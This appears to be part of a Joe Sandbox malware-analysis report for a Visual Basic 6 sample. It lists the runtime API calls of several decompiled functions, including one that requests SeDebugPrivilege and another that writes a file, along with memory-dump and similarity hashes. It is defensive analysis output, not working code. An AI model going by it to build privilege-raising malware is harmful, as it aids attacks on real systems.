__vbaStrMove.MSVBVM60(?), ref: 00417BC5
__vbaStrCat.MSVBVM60(?,00406F58,?,00000001), ref: 00417BD5
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BDC
__vbaStrCat.MSVBVM60(00406F58,00000000,?,00000001), ref: 00417BE4
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BEB
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417BF0
__vbaStrCat.MSVBVM60(?,00407CCC,00000000,00000001,?,00000001), ref: 00417C13
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C1A
__vbaStrCat.MSVBVM60(00407CCC,00000000,?,00000001), ref: 00417C22
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C29
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417C2E
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?,?,00000001), ref: 00417C59
__vbaAryUnlock.MSVBVM60(?), ref: 00417C6E
__vbaSetSystemError.MSVBVM60(?,?), ref: 00417CA1
__vbaSetSystemError.MSVBVM60(?,?,00000014), ref: 00417CB2

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Move$Error$Free$System$Unlock$BoundsCopyGenerateList$#616#631BstrLockOverflow
String ID:
API String ID: 1701566546-0
Opcode ID: 7c020b0f20d6a8b4d01058b6d9886427e5cc45ac16c8490aeb7492273ba51688
Instruction ID: b6ea956760585b48cef5c944cb0b6b88b320cc0c6bf33020a7601fb965c6dcd1
Opcode Fuzzy Hash: 7c020b0f20d6a8b4d01058b6d9886427e5cc45ac16c8490aeb7492273ba51688
Instruction Fuzzy Hash: B33172B1A00118DFCB14DFA4ED84DEE7779EF88300F10456AE506E3261DB345986CF68

Function 004174A5 Relevance: 27.1, APIs: 18, Instructions: 93COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(004178BC), ref: 00417733
#616.MSVBVM60(00000000,00000000), ref: 00417754
__vbaStrMove.MSVBVM60 ref: 0041775F
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00417769
__vbaStrMove.MSVBVM60 ref: 00417770
#631.MSVBVM60(00000000,-00000001,0000000A,00000000), ref: 0041778E
__vbaStrMove.MSVBVM60 ref: 00417799
__vbaStrCat.MSVBVM60(00000000), ref: 0041779C
__vbaStrMove.MSVBVM60 ref: 004177A5
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 004177B5
__vbaFreeVar.MSVBVM60 ref: 004177C1
__vbaLenBstr.MSVBVM60(00000000), ref: 004177CD
__vbaStrCopy.MSVBVM60 ref: 004177F0
__vbaSetSystemError.MSVBVM60(00000000,?,?,?), ref: 00417814
__vbaAryUnlock.MSVBVM60(?,004178BC), ref: 004178A0
__vbaAryUnlock.MSVBVM60(?), ref: 004178A9
__vbaFreeStr.MSVBVM60 ref: 004178B4
__vbaFreeStr.MSVBVM60 ref: 004178B9
__vbaErrorOverflow.MSVBVM60(0000000A,00000000), ref: 00417A16
__vbaAryLock.MSVBVM60(?,00000000,6D03A323,6D04D8B1,6D04D8E2), ref: 00417B35
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B5A
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B6E
__vbaSetSystemError.MSVBVM60 ref: 00417B9B
__vbaStrMove.MSVBVM60(?), ref: 00417BB5
__vbaStrMove.MSVBVM60(?), ref: 00417BC5
__vbaStrCat.MSVBVM60(?,00406F58,?,00000001), ref: 00417BD5
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BDC
__vbaStrCat.MSVBVM60(00406F58,00000000,?,00000001), ref: 00417BE4
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BEB
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417BF0
__vbaStrCat.MSVBVM60(?,00407CCC,00000000,00000001,?,00000001), ref: 00417C13
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C1A
__vbaStrCat.MSVBVM60(00407CCC,00000000,?,00000001), ref: 00417C22
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C29
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417C2E
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?,?,00000001), ref: 00417C59
__vbaAryUnlock.MSVBVM60(?), ref: 00417C6E
__vbaSetSystemError.MSVBVM60(?,?), ref: 00417CA1
__vbaSetSystemError.MSVBVM60(?,?,00000014), ref: 00417CB2

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Move$Error$Free$System$Unlock$BoundsCopyGenerateList$#616#631BstrLockOverflow
String ID:
API String ID: 1701566546-0
Opcode ID: 02c7f454d40560d9c6661f647330d47c8efe8f1cef0e828d259a4e05a1306448
Instruction ID: 4ac9cb3760513d78d10cab075c76733cbf34af43b16f8391a80bd0b5696eddcc
Opcode Fuzzy Hash: 02c7f454d40560d9c6661f647330d47c8efe8f1cef0e828d259a4e05a1306448
Instruction Fuzzy Hash: 57316071A00159DFCB14DFA4ED84DEEBB79EF88300F50456AE506A3261DB346986CF98

Function 0041751D Relevance: 27.1, APIs: 18, Instructions: 93COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(004178BC), ref: 00417733
#616.MSVBVM60(00000000,00000000), ref: 00417754
__vbaStrMove.MSVBVM60 ref: 0041775F
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00417769
__vbaStrMove.MSVBVM60 ref: 00417770
#631.MSVBVM60(00000000,-00000001,0000000A,00000000), ref: 0041778E
__vbaStrMove.MSVBVM60 ref: 00417799
__vbaStrCat.MSVBVM60(00000000), ref: 0041779C
__vbaStrMove.MSVBVM60 ref: 004177A5
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 004177B5
__vbaFreeVar.MSVBVM60 ref: 004177C1
__vbaLenBstr.MSVBVM60(00000000), ref: 004177CD
__vbaStrCopy.MSVBVM60 ref: 004177F0
__vbaSetSystemError.MSVBVM60(00000000,?,?,?), ref: 00417814
__vbaAryUnlock.MSVBVM60(?,004178BC), ref: 004178A0
__vbaAryUnlock.MSVBVM60(?), ref: 004178A9
__vbaFreeStr.MSVBVM60 ref: 004178B4
__vbaFreeStr.MSVBVM60 ref: 004178B9
__vbaErrorOverflow.MSVBVM60(0000000A,00000000), ref: 00417A16
__vbaAryLock.MSVBVM60(?,00000000,6D03A323,6D04D8B1,6D04D8E2), ref: 00417B35
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B5A
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B6E
__vbaSetSystemError.MSVBVM60 ref: 00417B9B
__vbaStrMove.MSVBVM60(?), ref: 00417BB5
__vbaStrMove.MSVBVM60(?), ref: 00417BC5
__vbaStrCat.MSVBVM60(?,00406F58,?,00000001), ref: 00417BD5
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BDC
__vbaStrCat.MSVBVM60(00406F58,00000000,?,00000001), ref: 00417BE4
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BEB
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417BF0
__vbaStrCat.MSVBVM60(?,00407CCC,00000000,00000001,?,00000001), ref: 00417C13
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C1A
__vbaStrCat.MSVBVM60(00407CCC,00000000,?,00000001), ref: 00417C22
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C29
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417C2E
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?,?,00000001), ref: 00417C59
__vbaAryUnlock.MSVBVM60(?), ref: 00417C6E
__vbaSetSystemError.MSVBVM60(?,?), ref: 00417CA1
__vbaSetSystemError.MSVBVM60(?,?,00000014), ref: 00417CB2

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Move$Error$Free$System$Unlock$BoundsCopyGenerateList$#616#631BstrLockOverflow
String ID:
API String ID: 1701566546-0
Opcode ID: 94c476b80a82efe6d398e93fd76fd4f9bee1e122c1bd37c77481171981cade68
Instruction ID: 685c137c93b8fd798157623ef34c738d9d6605c7449a0796629f3e9ff1c3c11f
Opcode Fuzzy Hash: 94c476b80a82efe6d398e93fd76fd4f9bee1e122c1bd37c77481171981cade68
Instruction Fuzzy Hash: 383160B1A00158DFCB14DBA4ED84DEEB779FF88300B10456AE506E3261DB345986CFA8

Function 0041753B Relevance: 27.1, APIs: 18, Instructions: 93COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(004178BC), ref: 00417733
#616.MSVBVM60(00000000,00000000), ref: 00417754
__vbaStrMove.MSVBVM60 ref: 0041775F
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00417769
__vbaStrMove.MSVBVM60 ref: 00417770
#631.MSVBVM60(00000000,-00000001,0000000A,00000000), ref: 0041778E
__vbaStrMove.MSVBVM60 ref: 00417799
__vbaStrCat.MSVBVM60(00000000), ref: 0041779C
__vbaStrMove.MSVBVM60 ref: 004177A5
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 004177B5
__vbaFreeVar.MSVBVM60 ref: 004177C1
__vbaLenBstr.MSVBVM60(00000000), ref: 004177CD
__vbaStrCopy.MSVBVM60 ref: 004177F0
__vbaSetSystemError.MSVBVM60(00000000,?,?,?), ref: 00417814
__vbaAryUnlock.MSVBVM60(?,004178BC), ref: 004178A0
__vbaAryUnlock.MSVBVM60(?), ref: 004178A9
__vbaFreeStr.MSVBVM60 ref: 004178B4
__vbaFreeStr.MSVBVM60 ref: 004178B9
__vbaErrorOverflow.MSVBVM60(0000000A,00000000), ref: 00417A16
__vbaAryLock.MSVBVM60(?,00000000,6D03A323,6D04D8B1,6D04D8E2), ref: 00417B35
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B5A
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B6E
__vbaSetSystemError.MSVBVM60 ref: 00417B9B
__vbaStrMove.MSVBVM60(?), ref: 00417BB5
__vbaStrMove.MSVBVM60(?), ref: 00417BC5
__vbaStrCat.MSVBVM60(?,00406F58,?,00000001), ref: 00417BD5
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BDC
__vbaStrCat.MSVBVM60(00406F58,00000000,?,00000001), ref: 00417BE4
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BEB
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417BF0
__vbaStrCat.MSVBVM60(?,00407CCC,00000000,00000001,?,00000001), ref: 00417C13
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C1A
__vbaStrCat.MSVBVM60(00407CCC,00000000,?,00000001), ref: 00417C22
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C29
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417C2E
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?,?,00000001), ref: 00417C59
__vbaAryUnlock.MSVBVM60(?), ref: 00417C6E
__vbaSetSystemError.MSVBVM60(?,?), ref: 00417CA1
__vbaSetSystemError.MSVBVM60(?,?,00000014), ref: 00417CB2

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Move$Error$Free$System$Unlock$BoundsCopyGenerateList$#616#631BstrLockOverflow
String ID:
API String ID: 1701566546-0
Opcode ID: 8bb761deafcd7e2ded91a160ce823c526f59d3b1b33068874666e1dc9ed13cd2
Instruction ID: abceff13d7d3de1d96dc032862a960644500f493d2a40e7a9fa547c81a193ae3
Opcode Fuzzy Hash: 8bb761deafcd7e2ded91a160ce823c526f59d3b1b33068874666e1dc9ed13cd2
Instruction Fuzzy Hash: 463160B1A00118DFCB14DFA4ED94DEEBB79EF88300B10456AE506E3261DB745986CF68

Function 00417139 Relevance: 27.1, APIs: 18, Instructions: 89COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(004178BC), ref: 00417733
#616.MSVBVM60(00000000,00000000), ref: 00417754
__vbaStrMove.MSVBVM60 ref: 0041775F
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 00417769
__vbaStrMove.MSVBVM60 ref: 00417770
#631.MSVBVM60(00000000,-00000001,0000000A,00000000), ref: 0041778E
__vbaStrMove.MSVBVM60 ref: 00417799
__vbaStrCat.MSVBVM60(00000000), ref: 0041779C
__vbaStrMove.MSVBVM60 ref: 004177A5
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 004177B5
__vbaFreeVar.MSVBVM60 ref: 004177C1
__vbaLenBstr.MSVBVM60(00000000), ref: 004177CD
__vbaStrCopy.MSVBVM60 ref: 004177F0
__vbaSetSystemError.MSVBVM60(00000000,?,?,?), ref: 00417814
__vbaAryUnlock.MSVBVM60(?,004178BC), ref: 004178A0
__vbaAryUnlock.MSVBVM60(?), ref: 004178A9
__vbaFreeStr.MSVBVM60 ref: 004178B4
__vbaFreeStr.MSVBVM60 ref: 004178B9
__vbaErrorOverflow.MSVBVM60(0000000A,00000000), ref: 00417A16
__vbaAryLock.MSVBVM60(?,00000000,6D03A323,6D04D8B1,6D04D8E2), ref: 00417B35
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B5A
__vbaGenerateBoundsError.MSVBVM60 ref: 00417B6E
__vbaSetSystemError.MSVBVM60 ref: 00417B9B
__vbaStrMove.MSVBVM60(?), ref: 00417BB5
__vbaStrMove.MSVBVM60(?), ref: 00417BC5
__vbaStrCat.MSVBVM60(?,00406F58,?,00000001), ref: 00417BD5
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BDC
__vbaStrCat.MSVBVM60(00406F58,00000000,?,00000001), ref: 00417BE4
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417BEB
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417BF0
__vbaStrCat.MSVBVM60(?,00407CCC,00000000,00000001,?,00000001), ref: 00417C13
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C1A
__vbaStrCat.MSVBVM60(00407CCC,00000000,?,00000001), ref: 00417C22
__vbaStrMove.MSVBVM60(?,00000001), ref: 00417C29
__vbaInStr.MSVBVM60(00000001,00000000,?,00000001), ref: 00417C2E
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?,?,00000001), ref: 00417C59
__vbaAryUnlock.MSVBVM60(?), ref: 00417C6E
__vbaSetSystemError.MSVBVM60(?,?), ref: 00417CA1
__vbaSetSystemError.MSVBVM60(?,?,00000014), ref: 00417CB2

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Move$Error$Free$System$Unlock$BoundsCopyGenerateList$#616#631BstrLockOverflow
String ID:
API String ID: 1701566546-0
Opcode ID: 392004513970ef635da4a611ab646abaa928053d5d8163be545aabfb3d7528fd
Instruction ID: b391c340adbf3e59c3df7a7246d9472bd0b0b55e754b724d87d5f09335da3bbb
Opcode Fuzzy Hash: 392004513970ef635da4a611ab646abaa928053d5d8163be545aabfb3d7528fd
Instruction Fuzzy Hash: 1E310DB5A00118DBDB14DBA4ED84DEE7779EF88300F50856AE506A3261DF34A986CF68

Function 0041F150 Relevance: 27.1, APIs: 18, Instructions: 84COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6), ref: 0041F16E
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0041F19E
#537.MSVBVM60(00000000,?,?,?,00000000,Function_000032B6), ref: 0041F1AD
#606.MSVBVM60(000000FF,00000008), ref: 0041F1C6
__vbaStrMove.MSVBVM60 ref: 0041F1D1
__vbaFreeVar.MSVBVM60 ref: 0041F1DA
__vbaStrToAnsi.MSVBVM60(?,?), ref: 0041F1F5
__vbaSetSystemError.MSVBVM60(00000000), ref: 0041F201
__vbaStrToUnicode.MSVBVM60(?,?), ref: 0041F20F
__vbaFreeStr.MSVBVM60 ref: 0041F218
#537.MSVBVM60(00000000,?,00000001), ref: 0041F22D
__vbaStrMove.MSVBVM60 ref: 0041F238
__vbaInStr.MSVBVM60(00000000,00000000), ref: 0041F241
#616.MSVBVM60(?,-00000001), ref: 0041F251
__vbaStrMove.MSVBVM60 ref: 0041F25C
__vbaFreeStr.MSVBVM60 ref: 0041F265
__vbaFreeStr.MSVBVM60(0041F2A2), ref: 0041F29B
__vbaErrorOverflow.MSVBVM60 ref: 0041F2B8

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Free$ErrorMove$#537$#606#616AnsiChkstkOverflowSystemUnicode
String ID:
API String ID: 1093449089-0
Opcode ID: ee02f3b2826ffa236948fc2c1f65590c4aa55ef8d50380a296c512f1be7178e6
Instruction ID: 0e4e532b7f79ceded0d12069193019f5775f2f1d5aa758d8f51e06bfe5b2f4ca
Opcode Fuzzy Hash: ee02f3b2826ffa236948fc2c1f65590c4aa55ef8d50380a296c512f1be7178e6
Instruction Fuzzy Hash: 20311C75900149EFDB04DFA4DA4CBDEBBB8FF08305F108169E502B62A0DB755A05CB64

Function 0041A2B0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 118COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6,0041A500,?,?,?,00000000,Function_000032B6), ref: 0041A2CE
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6,0041A500), ref: 0041A2FE
__vbaSetSystemError.MSVBVM60(?,?,?,00000000,Function_000032B6,0041A500), ref: 0041A313
__vbaSetSystemError.MSVBVM60(?,00000028,?,?,?,?,00000000,Function_000032B6,0041A500), ref: 0041A32B
__vbaSetSystemError.MSVBVM60(?,00000000,?,0000001C,?,0000001C), ref: 0041A37B
__vbaStrToAnsi.MSVBVM60(?,SeDebugPrivilege,?), ref: 0041A39A
__vbaSetSystemError.MSVBVM60(00000000,00000000), ref: 0041A3AB
__vbaFreeStr.MSVBVM60 ref: 0041A3C3
__vbaCopyBytes.MSVBVM60(00000008,?,?), ref: 0041A420
__vbaSetSystemError.MSVBVM60(?), ref: 0041A475

Strings

SeDebugPrivilege, xrefs: 0041A391

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$Error$System$AnsiBytesChkstkCopyFree
String ID: SeDebugPrivilege
API String ID: 1749655604-2896544425
Opcode ID: a09d8b27c4e060d415cd38d35f886b830d8e55dcf0cb0396c666bdd4df63c9ca
Instruction ID: 4de2d3f6ed40af32cba968f736910ab2351f3027917a15dd84bedccea81ef083
Opcode Fuzzy Hash: a09d8b27c4e060d415cd38d35f886b830d8e55dcf0cb0396c666bdd4df63c9ca
Instruction Fuzzy Hash: D0514B70901308DBEB10DFA1DA49BEEBBB8FB04704F20816EE105AB291D7B84A45DF56

Function 00429F50 Relevance: 22.6, APIs: 15, Instructions: 81COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6,?,?,?,?,?,Function_000032B6), ref: 00429F6E
__vbaStrCopy.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 00429F9B
__vbaStrCopy.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 00429FA7
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 00429FB6
__vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429FCF
__vbaSetSystemError.MSVBVM60(?,00000000,?,?,?,00000000,Function_000032B6), ref: 00429FDF
__vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,Function_000032B6), ref: 00429FED
__vbaFreeStr.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 00429FF6
__vbaStrToAnsi.MSVBVM60(00000004,?,00000000,00000004,00403208,00000004,?,?,?,00000000,Function_000032B6), ref: 0042A015
__vbaSetSystemError.MSVBVM60(?,00000000,?,?,?,00000000,Function_000032B6), ref: 0042A025
__vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,Function_000032B6), ref: 0042A033
__vbaFreeStr.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0042A03C
__vbaSetSystemError.MSVBVM60(?,?,?,?,00000000,Function_000032B6), ref: 0042A052
__vbaFreeStr.MSVBVM60(0042A07C,?,?,?,00000000,Function_000032B6), ref: 0042A06C
__vbaFreeStr.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0042A075

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$ErrorFree$System$AnsiCopyUnicode$Chkstk
String ID:
API String ID: 3031735744-0
Opcode ID: ec505b9da935685f743cf272e17281aba0119273a56e583c7af6864e293ea477
Instruction ID: 5fd8a786a428ecf44f1591115f944ef2e4a492f21aad71c04980f5145bc2ad87
Opcode Fuzzy Hash: ec505b9da935685f743cf272e17281aba0119273a56e583c7af6864e293ea477
Instruction Fuzzy Hash: B731DBB1900209EFCB04EFE4DE49FDE7BB8BB48705F108259F612B65A0D7745A48CB65

Function 00429E10 Relevance: 22.6, APIs: 15, Instructions: 76COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,004032B6,?,?,0040CBB8,80000002,00000000,00000000), ref: 00429E2E
__vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 00429E5B
__vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 00429E67
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 00429E76
__vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,00000000,004032B6), ref: 00429E8F
__vbaSetSystemError.MSVBVM60(00000000,00000000,?,?,?,00000000,004032B6), ref: 00429E9F
__vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 00429EAD
__vbaFreeStr.MSVBVM60(?,?,?,00000000,004032B6), ref: 00429EB6
__vbaStrToAnsi.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 00429ECB
__vbaSetSystemError.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 00429EDB
__vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 00429EE9
__vbaFreeStr.MSVBVM60(?,?,?,00000000,004032B6), ref: 00429EF2
__vbaSetSystemError.MSVBVM60(?,?,?,?,00000000,004032B6), ref: 00429F08
__vbaFreeStr.MSVBVM60(00429F32,?,?,?,00000000,004032B6), ref: 00429F22
__vbaFreeStr.MSVBVM60(?,?,?,00000000,004032B6), ref: 00429F2B

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676803871.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676973407.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677228769.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677277778.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ADSP-21593BBPZ10 Analog Devices, Inc.jbxd

Similarity

API ID: __vba$ErrorFree$System$AnsiCopyUnicode$Chkstk
String ID:
API String ID: 3031735744-0
Opcode ID: 8dba7990584796c2d513886add396c5f5192d76287c72b2b2e7eaf5777dcc1de
Instruction ID: ef05815d91a7badc13ce189a5e2ee1fd6bd11c379c37ab60153baacb3b4262a3
Opcode Fuzzy Hash: 8dba7990584796c2d513886add396c5f5192d76287c72b2b2e7eaf5777dcc1de
Instruction Fuzzy Hash: 5231CBB5910149EFCB04EFE4DE48EDEBBB8FB48715F108269F502B61A0DB745A44CB64

Function 00415980 Relevance: 21.1, APIs: 14, Instructions: 91COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(?,Function_000032B6,?,?,?,0041B687,0042C0E8,?), ref: 0041599E
__vbaOnError.MSVBVM60(000000FF,00000000,6D04D8B1,6D04DF85,?,Function_000032B6), ref: 004159CE
#580.MSVBVM60(?,00000000), ref: 004159E3
#648.MSVBVM60(0000000A), ref: 00415A02
__vbaFreeVar.MSVBVM60 ref: 00415A0F
__vbaFileOpen.MSVBVM60(00000020,000000FF,?), ref: 00415A2B
#570.MSVBVM60(?,?), ref: 00415A42
__vbaPut4.MSVBVM60(00000000,00000000,-00000001), ref: 00415A58
__vbaStrCopy.MSVBVM60 ref: 00415A6D
__vbaPut3.MSVBVM60(00000000,?,?), ref: 00415A7E
__vbaFreeStr.MSVBVM60 ref: 00415A87
__vbaFileClose.MSVBVM60(?), ref: 00415A99
#580.MSVBVM60(?,00000027), ref: 00415AAE
__vbaErrorOverflow.MSVBVM60 ref: 00415AE2

Memory Dump Source

Source File: 00000000.00000002.1677046602.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

